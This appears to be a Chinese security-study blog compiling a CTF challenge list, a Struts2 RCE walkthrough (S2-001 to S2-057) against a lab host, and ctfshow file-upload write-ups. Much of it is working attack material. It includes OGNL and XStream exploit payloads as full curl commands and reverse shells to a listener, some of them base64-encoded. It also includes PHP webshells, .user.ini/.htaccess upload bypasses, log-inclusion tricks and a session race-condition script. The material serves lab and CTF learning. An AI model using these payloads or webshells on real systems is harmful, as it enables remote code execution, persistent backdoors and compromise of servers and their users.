  • [网鼎杯 2020 朱雀组]phpweb 简单的反序列化命令执行
  • [安洵杯 2019]easy_serialize_php 反序列化逃逸
  • [SWPUCTF 2018]SimplePHP phar反序列化
  • [CISCN2019 华北赛区 Day1 Web1]Dropbox phar反序列化
  • [GXYCTF2019]BabysqliV3.0
  • [2020 新春红包题]
  • [极客大挑战 2020]Greatphp 原生类的利用
  • [watevrCTF-2019]Pickle Store python 反序列化
  • [SUCTF 2019]Upload Labs2 原生类反序列化
  • [网鼎杯 2020 总决赛]Game Exp

中等

  • [0CTF 2016]piapiapia 重量级,这题居然是16年的题目,放到现在感觉也不算特别简单的题目,介乎中等之间
  • [CISCN2019 华北赛区 Day1 Web2]ikun python反序列化,jwt伪造
  • [强网杯 2019]Upload 反序列化
  • bestphp's revenge 反序列化引擎带来的问题
  • [HarekazeCTF2019]Easy Notes 和上面一道题是一个考点
  • [HFCTF 2021 Final]easyflask python 反序列化
  • [MRCTF2020]Ezpop_Revenge 简单的POP 打SSRF
  • [红明谷CTF 2021]EasyTP thinkphp3反序列化读取任意文件
  • [D3CTF 2019]EzUpload

困难

  • [CISCN2019 总决赛 Day1 Web4]Laravel1 当时应该是0day出题,纯自己做也是比较麻烦的
  • [安洵杯 2019]iamthinking 1day出的题,纯自己挖反序列化也是困难的、
  • [NCTF2019]phar matches everything phar反序列化漏洞+SSRF漏洞+PHP-FPM未授权访问漏洞。
  • [RoarCTF 2019]PHPShe
  • 虎符2021线下 tinypng 这道题很有意思,绕过姿势很多,需要详细做

脑洞

  • [羊城杯 2020]EasySer

Struts2 系列重点漏洞分析

由于vulhub上的靶场太老无法适配新版kali,我基于旧靶场搭建了一个新靶场dyfawa4/struts2

S2-001

漏洞简介

Struts2远程执行漏洞(S2-001),最早的 Struts2 OGNL漏洞之一。

漏洞成因:struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

漏洞详情: http://struts.apache.org/docs/s2-005.html

影响范围

Struts 2.0.0 – 2.0.8(以及 WebWork altSyntax)

完整执行链

用户输入:%{666}
   ↓
提交到 /login.action
   ↓
Struts2处理请求
   ↓
把username放入ValueStack
   ↓
JSP页面使用<s:textfield>
   ↓
OGNL解析 value
   ↓
执行表达式
   ↓
生成HTML:
<input value="2">
   ↓
浏览器看到:2

漏洞验证

先监听一个端口

image-20260320165647967

漏洞利用payload:

%{#p=new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","bash -i >& /dev/tcp/192.168.127.128/4444 0>&1"}).start()}

image-20260320165831252

工具验证

image-20260322205037716

S2-005

漏洞简介

参考吴翰清的《白帽子讲Web安全》一书。

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

XWork会将GET参数的键和值利用OGNL表达式解析成Java语句,如:

正常理解:

username=admin

但在漏洞环境中:

参数名 → OGNL表达式

例如:

%{1+1}

可能被直接执行

触发漏洞就是利用了这个点,再配合OGNL的沙盒绕过方法,组成了S2-003。官方对003的修复方法是增加了安全模式(沙盒),S2-005在OGNL表达式中将安全模式关闭,又绕过了修复方法。整体过程如下:

  • S2-003 使用\u0023绕过s2对#的防御
  • S2-003 后官方增加了安全模式(沙盒)
  • S2-005 使用OGNL表达式将沙盒关闭,继续执行代码

修复存在问题,攻击者可以:

通过OGNL表达式 → 重新开启这些限制

比如修改内部安全配置:

allowStaticMethodAccess = true

影响范围

影响版本: 2.0.0 - 2.1.8.1 漏洞详情: http://struts.apache.org/docs/s2-005.html

完整执行链

请求参数进入 Struts2
   ↓
参数名被当成 OGNL 表达式
   ↓
绕过过滤(Unicode / 编码)
   ↓
修改 memberAccess(开权限)
   ↓
修改 context(关限制)
   ↓
调用 Runtime.exec
   ↓
执行系统命令

漏洞验证

先监听端口

image-20260322201707978

构造Poc

redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

image-20260322203822930

image-20260322203843474

工具验证

image-20260322203912087

s2-009

漏洞介绍

\> 前置阅读: 这个漏洞再次来源于s2-003、s2-005。了解该漏洞原理,需要先阅读s2-005的说明:https://github.com/phith0n/vulhub/blob/master/struts2/s2-005/README.md

参考Struts2漏洞分析之Ognl表达式特性引发的新思路,文中说到,该引入ognl的方法不光可能出现在这个漏洞中,也可能出现在其他java应用中。

Struts2对s2-003的修复方法是禁止静态方法调用,在s2-005中可直接通过OGNL绕过该限制,对于#号,同样使用编码\u0023\43进行绕过;于是Struts2对s2-005的修复方法是禁止\等特殊符号,使用户不能提交反斜线。

但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用/helloword.acton?example=<OGNL statement>&(example)('xxx')=1的方法来执行它,从而绕过官方对#\等特殊字符的防御。

影响范围

2.1.0 - 2.3.1.1

漏洞验证

构造payload

curl "http://192.168.127.128:8080/ajax/example5.action?age=12313&name=%28%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D+new+java.lang.Boolean%28false%29%2C%20%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3d+new+java.lang.Boolean%28true%29%2C%20@java.lang.Runtime@getRuntime%28%29.exec%28%27touch%20/tmp/success%27%29%29%28meh%29&z%5B%28name%29%28%27meh%27%29%5D=true"

文件成功写入

image-20260324191923094

s2-013

漏洞介绍

Struts2 标签中 <s:a><s:url> 都包含一个 includeParams 属性,其值可设置为 none,get 或 all,参考官方其对应意义如下:

  1. none - 链接不包含请求的任意参数值(默认)
  2. get - 链接只包含 GET 请求中的参数和其值
  3. all - 链接包含 GET 和 POST 所有参数和其值

<s:a>用来显示一个超链接,当includeParams=all的时候,会将本次请求的GET和POST参数都放在URL的GET参数上。在放置参数的过程中会将参数进行OGNL渲染,造成任意命令执行漏洞。

漏洞详情:

- http://struts.apache.org/docs/s2-013.html

- http://struts.apache.org/docs/s2-014.html

影响版本

2.0.0 - 2.3.14.1

漏洞验证

先监听端口

image-20260321132329249

构造payload

%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23cmd%3D%40java.lang.Runtime%40getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjgvNDQ0NCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%7D"

image-20260321132631475

image-20260321132641159

工具验证

image-20260321132654425

S2-016

漏洞介绍

在 Apache Struts 2.x 中,DefaultActionMapper 支持以下前缀:

action:
redirect:
redirectAction:

这些前缀本意是用于:

  • 页面跳转
  • 重定向控制

问题在于这些前缀后面的内容 会被当作 OGNL 表达式解析执行,但框架没有做有效限制。

漏洞本质

redirect:${OGNL表达式}

被解析为:

执行 OGNL 表达式
  • 用户可控输入
  • 进入 OGNL
  • 无安全限制

    最终导致任意 Java 代码执行 → RCE

利用入口

http://target/index.action?redirect:${...}

不需要表单提交,也不需要参数绑定,属于URL 级别直接触发漏洞

影响范围

影响版本: 2.0.0 - 2.3.15

漏洞详情:

漏洞验证

构造payload

curl -s "http://192.168.127.128:8080/index.action?redirect:%24%7B%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2C%23f.setAccessible%28true%29%2C%23f.set%28%23_memberAccess%2Ctrue%29%2C%23fw%3Dnew%20java.io.FileWriter%28%22/tmp/success%22%29%2C%23fw.write%28%22success%22%29%2C%23fw.close%28%29%2C%23genxor%3D%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2C%23genxor.println%28%22done%22%29%2C%23genxor.flush%28%29%2C%23genxor.close%28%29%7D"

文件成功写入

image-20260324203337219

工具验证

image-20260317200409615

s2-032

漏洞介绍

Struts2在开启了动态方法调用(Dynamic Method Invocation)的情况下,可以使用method:<name>的方式来调用名字是<name>的方法,而这个方法名将会进行OGNL表达式计算,导致远程命令执行漏洞。

漏洞详情:

- https://cwiki.apache.org/confluence/display/WW/S2-032

- https://www.cnblogs.com/mrchang/p/6501428.html

影响版本

Struts 2.3.20 - Struts Struts 2.3.28 (except 2.3.20.3 and 2.3.24.3)

漏洞验证

构造payload,Java的 Runtime.exec() 不会解析shell重定向符号 > 。需要使用 sh -c 来执行包含重定向的命令。

curl -v "http://192.168.127.128:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext@getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew%20java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=touch%20/tmp/success"

文件成功写入

image-20260324201954065

工具验证

image-20260324201228680

S2-045

漏洞介绍

S2-045 是 Apache Struts 历史上最著名、影响最大的漏洞之一。

  • 编号:CVE-2017-5638
  • 类型:远程命令执行(RCE)
  • 利用难度:⭐(极低)
  • 危害等级:🔥🔥🔥🔥🔥

漏洞一句话理解

攻击者通过构造恶意 HTTP Header(Content-Type),让 Struts2 在解析上传请求时执行 OGNL 表达式,从而实现远程命令执行。

漏洞发生在:

Jakarta Multipart 解析器

当请求头:

Content-Type

解析失败时, Struts2 会:

抛异常 → 处理异常 → 拼接错误信息 → 执行 OGNL

异常信息中包含了用户可控内容(Content-Type),并且:这个内容会被当成 OGNL 表达式执行

为什么045危害性这么高?主要是攻击入口:

不同于 S2-005 / S2-016:

漏洞入口
S2-005参数名
S2-016URL 前缀
S2-045HTTP Header

利用位置:

Content-Type: %{恶意OGNL}

利用流程

发送请求
   ↓
Content-Type 被解析
   ↓
解析异常
   ↓
进入异常处理逻辑
   ↓
错误信息拼接 OGNL
   ↓
OGNL 被执行
   ↓
执行系统命令

为什么 S2-045 特别危险?

1. 不需要特定路径

不像:

/index.action

只要是 Struts2 应用:

任何 URL 都可能触发

2. 不依赖参数

不需要:

  • GET 参数
  • POST 参数

只靠 Header

3. WAF 难拦

因为:

攻击点在 Header

很多设备:

默认不严格检查 Header

4. 利用极其稳定

几乎:

一打一个准

影响范围

影响版本: Struts 2.3.5 - Struts 2.3.31, Struts 2.5 - Struts 2.5.10

漏洞详情:

漏洞验证

构造payload

curl -v "http://192.168.127.128:8080/" -H "Content-Type: %{(#fw=new java.io.FileWriter('/tmp/success')).(#fw.write('success')).(#fw.close()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'/bin/sh','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} multipart/form-data"

成功写入文件

image-20260324204203752

工具验证

image-20260324203823457

s2-052

漏洞介绍

Struts2-Rest-Plugin是让Struts2能够实现Restful API的一个插件,其根据Content-Type或URI扩展名来判断用户传入的数据包类型,有如下映射表:

扩展名Content-Type解析方法
xmlapplication/xmlxstream
jsonapplication/jsonjsonlib或jackson(可选)
xhtmlapplication/xhtml+xml
application/x-www-form-urlencoded
multipart/form-data

jsonlib无法引入任意对象,而xstream在默认情况下是可以引入任意对象的(针对1.5.x以前的版本),方法就是直接通过xml的tag name指定需要实例化的类名:

<classname></classname>
//或者
<paramname class="classname"></paramname>

所以,我们可以通过反序列化引入任意类造成远程命令执行漏洞,只需要找到一个在Struts2库中适用的gedget。

漏洞详情:

- http://struts.apache.org/docs/s2-052.html

- https://yq.aliyun.com/articles/197926

影响版本

Struts 2.1.2 - Struts 2.3.33, Struts 2.5 - Struts 2.5.12

漏洞验证

构造payload

curl -X POST "http://192.168.127.128:8080/orders/3/edit" \
  -H "Content-Type: application/xml" \
  -d '<map>
  <entry>
    <jdk.nashorn.internal.objects.NativeString>
      <flags>0</flags>
      <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
        <dataHandler>
          <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
            <is class="javax.crypto.CipherInputStream">
              <cipher class="javax.crypto.NullCipher">
                <initialized>false</initialized>
                <opmode>0</opmode>
                <serviceIterator class="javax.imageio.spi.FilterIterator">
                  <iter class="javax.imageio.spi.FilterIterator">
                    <iter class="java.util.Collections$EmptyIterator"/>
                    <next class="java.lang.ProcessBuilder">
                      <command>
                        <string>sh</string>
                        <string>-c</string>
                        <string>echo success > /tmp/success</string>
                      </command>
                      <redirectErrorStream>false</redirectErrorStream>
                    </next>
                  </iter>
                  <filter class="javax.imageio.ImageIO$ContainsFilter">
                    <method>
                      <class>java.lang.ProcessBuilder</class>
                      <name>start</name>
                      <parameter-types/>
                    </method>
                    <name>foo</name>
                  </filter>
                  <next class="string">foo</next>
                </serviceIterator>
                <lock/>
              </cipher>
              <input class="java.lang.ProcessBuilder$NullInputStream"/>
              <ibuffer></ibuffer>
              <done>false</done>
              <ostart>0</ostart>
              <ofinish>0</ofinish>
              <closed>false</closed>
            </is>
            <consumed>false</consumed>
          </dataSource>
          <transferFlavors/>
        </dataHandler>
        <dataLen>0</dataLen>
      </value>
    </jdk.nashorn.internal.objects.NativeString>
    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
  </entry>
  <entry>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
  </entry>
</map>'

文件成功写入

image-20260324205443658

st2-057

漏洞简介

当Struts2的配置满足以下条件时:

- alwaysSelectFullNamespace值为true

- action元素未设置namespace属性,或使用了通配符

namespace将由用户从uri传入,并作为OGNL表达式计算,最终造成任意命令执行漏洞。

漏洞详情:

影响版本

小于等于 Struts 2.3.34 与 Struts 2.5.16

漏洞利用

构造payload

curl -v "http://192.168.127.128:8080/struts2-showcase/\$%7B(%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B'struts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensymphony.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23fw%3Dnew%20java.io.FileWriter('/tmp/success')).(%23fw.write('success')).(%23fw.close())%7D/actionChain1.action"

成功写入文件

image-20260324210202571

ctfshow 文件上传模块

文件上传

web151

image-20251122125228038

这道题是在前端对文件进行校验,由于在前端就对文件进行了校验,所以抓包是无效的,我们可以修改网页的源代码解决

image-20251122131305964

image-20251122131359634

然后上传一句话木马,拿下后台

image-20251122131417072

image-20251122131606873

web152

image-20251122131907821

这道题先是和上题一样的前端验证,然后后端还有一个验证,前端验证我们依旧是改源码

image-20251122132020105

然就是对付后端验证,我们先随便上传一张图片拿到图片的文件类型名

image-20251122130041662

image/png

然后把我们muma文件的文件类型修改成一样的

image-20251122132248285

这里其实已经拿下了,我们根据之前的路径用蚁剑连接

image-20251122132807737

web153

和上题一样的前端验证和后端验证,但修改文件类型并不能绕过后端验证

image-20251122133251293

进行了测试,发现他不仅检测文件类型,还会检测文件后缀,改了文件后缀就能传了

image-20251122140631629

但这样的话他就不能解析了,所以我们要更换思路,可以通过写.user.ini,可以让指定的文件(包括图片)解析到默认的主页,也就是index中 , 用人话讲就是.user.ini可以把你指定的一个文件包含到这个目录下任意一个会以php执行的文件中(比如index.php、test.php),当你访问index.php后这个被你指定的文件,无论后缀是什么,都会以php的方式进行读取,所以可以绕过后端检测 这个题目用了文件上传+本地文件包含

 auto_prepend_file = muma.png

⚠️ 注意

• 可以选择 auto_prepend_file 或 auto_append_file,区别如下:

auto_prepend_file:在木马文件上传之前上传,优先包含。

auto_append_file:在木马文件上传之后上传,延后包含。

我们先上传一句话木马,并且修改后缀

然后利用抓包上传ini配置文件,这里对后缀的检测应该是黑名单制,ini文件修改了类型就能传上去了

image-20251122140716509

然后我们随便访问一个php连接就行,这里我用的是index.php,注意由于是上传两个文件,所以不能用重放器

image-20251122162445905

web154

image-20251122163037304

依旧是前端验证加后端验证,这里哪怕改了后缀也无法上传

依旧先传配置文件,后传木马

image-20251122163212582

这里可能是对文件内容进行了过滤,因为我随便搞了个php文件,再改名成png,发现可以正常上传

image-20251122163938412

测试了下,是对php 进行了过滤,我们可以用短标签生成一句话木马

<?=@eval($_POST[1]);?>  

image-20251122164317096

image-20251122170937974

web155

web155和web154的区别在于upload.php对于字符检测所使用的函数不同 两段代码的主要差异在于检查文件内容是否包含“php”字符串时使用的函数: 154代码使用 strrpos($content, "php") == FALSE: strrpos 查找字符串中“php”最后一次出现的位置(区分大小写),返回位置索引或 FALSE。 如果文件内容中包含“php”(如 <?php),strrpos 返回非 FALSE,导致上传失败,返回错误代码 code=>3 和消息“文件内容不合规”。 155代码使用 stripos($content, "php") === FALSE: stripos 类似 strrpos,但不区分大小写,查找“php”第一次出现的位置。 使用严格比较 === FALSE,检查是否完全没有找到“php”(如 PHP 或 php)。 如果文件内容包含“php”或“PHP”,上传失败,返回错误代码 code=>2 和消息“文件类型不合规”。 如果154使用php短标签,则可以通杀这道题

web156

依旧是和之前一样的前端验证加后端验证,虽然ini配置文件传上去了,但木马又传不上去了,

image-20251123084451471

排查原因,发现是过滤了中括号,那我们可以用大括号进行绕过,payload为

<?=@eval($_POST{1})?>

image-20251123084923592

image-20251123102025677

web157

前面还是一样的前端验证和后端验证,我们先照常上传ini配置文件,然后去检查过滤的元素,发现大括号也被过滤了,除此之外;也被过滤了

image-20251123105820633

那我们可以直接命令执行不依靠蚁剑

<?=@system("tac ../flag.*")?>

image-20251123163539252

web159

还是和前面一样的验证,不过这里后端多了对小括号的过滤

image-20251123165319955

我们可以用反引号解决 tac ../flag.*,不要忘记目录穿越的../

image-20251124204618106

image-20251124204851116

web160

我们发现之前的配置文件传不上去了,但如果是空的.user.ini是可以正常传的,我们考虑内容被过滤了

image-20251124210740958

原来是把空格过滤了,这里删除空格不影响,在muma文件里,我们可以用$IFS$9的方法绕过空格,但注意,由于这里用不了{},为了不让$IFS$9被当成变量,我们要进行转义,不过麻烦的事``也被过滤了,那我们可以尝试日志包含上传文件,由于这里log也被过滤,所以我们考虑用.拼接字符串

我们构建木马

<?=include"/var/lo"."g/nginx/access.lo"."g"?>

image-20251124215007081

我们可以看到UA信息,那就把一句话木马写在UA头里

image-20251124215217553

image-20251124215257394

web161

我们和以前一样传配置文件,发现传不上去了,这道题其实多了对文件头的检查,不过png的头太麻烦了,我们在配置文件里插入gif头

GIF89a
auto_prepend_file=muma.png

auto_prepend_file是在文件前插入,而auto_append_file是在文件最后才插入

一句话木马里也要,然后就和上面一样了

image-20251125204803816

image-20251125204822428

web162-163

别的都继承前面的检测,不过这道题把.也一并过滤了,这导致我们配置文件都得修改,而且上传的文件会删除,我们考虑用session竞争

我们先上传配置文件

GIF89a
auto_prepend_file=png

然后上传一个png文件,内容是

GIF89a <?=include"/tmp/sess_1"?>

然后运行脚本

import requests
import threading
import re

session = requests.session()
sess = 'hhh' #之前上传时自拟的名字
url1 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/"
url2 = "http://12d363d9-266c-4a6d-bb94-1a2ce754c8f7.challenge.ctf.show/upload"
data1 = {
    'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac ../f*");?>'
}
file = {
    'file': 'yu22x tql'  #文件名,随便改就行
}
cookies = {
    'PHPSESSID': sess
}


def write(): #上传文件竞争过程
    while True:
        r = session.post(url1, data=data1, files=file, cookies=cookies)


def read():
    while True: #每次竞争完都访问一下url/uoload看有没有flag
        r = session.get(url2)
        if 'flag' in r.text:
            flag=re.compile('ctfshow{.+}') #我在做题的时候flag格式已经改成ctfshow{}了
            print(flag.findall(r.text))


threads = [threading.Thread(target=write),
           threading.Thread(target=read)]
for t in threads:
    t.start()

image-20251125222542106

web164

png的二次渲染马

png文件组成

png图片由3个以上的数据块组成.

PNG定义了两种类型的数据块,一种是称为关键数据块(critical chunk),这是标准的数据块,另一种叫做辅助数据块(ancillary chunks),这是可选的数据块。关键数据块定义了3个标准数据块(IHDR,IDAT, IEND),每个PNG文件都必须包含它们.

数据块结构
img

CRC(cyclic redundancy check)域中的值是对Chunk Type Code域和Chunk Data域中的数据进行计算得到的。CRC具体算法定义在ISO 3309和ITU-T V.42中,其值按下面的CRC码生成多项式进行计算:

x32+x26+x23+x22+x16+x12+x11+x10+x8+x7+x5+x4+x2+x+1

分析数据块

IHDR

数据块IHDR(header chunk):它包含有PNG文件中存储的图像数据的基本信息,并要作为第一个数据块出现在PNG数据流中,而且一个PNG数据流中只能有一个文件头数据块。

文件头数据块由13字节组成,它的格式如下图所示。
img

PLTE

调色板PLTE数据块是辅助数据块,对于索引图像,调色板信息是必须的,调色板的颜色索引从0开始编号,然后是1、2……,调色板的颜色数不能超过色深中规定的颜色数(如图像色深为4的时候,调色板中的颜色数不可以超过2^4=16),否则,这将导致PNG图像不合法。

IDAT

图像数据块IDAT(image data chunk):它存储实际的数据,在数据流中可包含多个连续顺序的图像数据块。

IDAT存放着图像真正的数据信息,因此,如果能够了解IDAT的结构,我们就可以很方便的生成PNG图像

IEND

图像结束数据IEND(image trailer chunk):它用来标记PNG文件或者数据流已经结束,并且必须要放在文件的尾部。

如果我们仔细观察PNG文件,我们会发现,文件的结尾12个字符看起来总应该是这样的:

00 00 00 00 49 45 4E 44 AE 42 60 82

对于png的二次渲染马,我们可以写入IDAT

直接跑脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);
 
 
 
$img = imagecreatetruecolor(32, 32);
 
for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}
 
imagepng($img,'./1.png');
?>

我们直接运行脚本,生成文件再上传

image-20251125221535755

在上面输入&0然后输入你要用的方法,在post传参处传1,输入你的命令,抓包

image-20251125221546472

image-20251125221614308

web165

同样是二次渲染马的应用,不过这道题是jpg文件的二次渲染,我们先随便找个正常的jpg文件,上传上去让网页对它进行二次渲染

image-20251231134510731

我们运行脚本,对其继续修改,再次上传

image-20251231134539619

蚁剑拿下后台

web166

这道题和之前的不同的是,他要求的文件是zip文件而不是图片文件,我们直接写一个一句话木马,再把它变成zip文件上传

image-20251231140824862

然后我们在下载文件那里复制连接,得到文件地址

image-20251231140951208

image-20251231140922420

image-20251231141006259

web167

由于提示httpd,我们知道了这个中间件是apache,那我们就要写apache对应的配置文件.htaccess

<FilesMatch ".jpg">
  SetHandler application/x-httpd-php
</FilesMatch>

这个配置文件可以让apache服务器把所有jpg文件当成php文件读取,从而解析木马

我们先修改文件后缀变成.jpg,然后抓包修改文件信息把配置文件传上去

image-20251231143210301

image-20251231143223325

然后上传一句话修改了后缀的木马

image-20251231143316837

复制链接,拿下后台

image-20251231143348141

web168

对一句话木马有许多的过滤,比如system、eval还有include全都不行了

那我们可以用反引号来解决,先ls读一下文件列表

<?=`ls ..`;

image-20251231150924234

然后直接读取就行了

image-20251231151030386

image-20251231151434574

web169-170

这里过滤了<,我们要考虑日志包含,由于日志包含要有index.php,所以我们先人为上传一个上去,内容随意

然后我们上传新写的配置文件,让其进行日志读取

auto_prepend_file=/var/log/nginx/access.log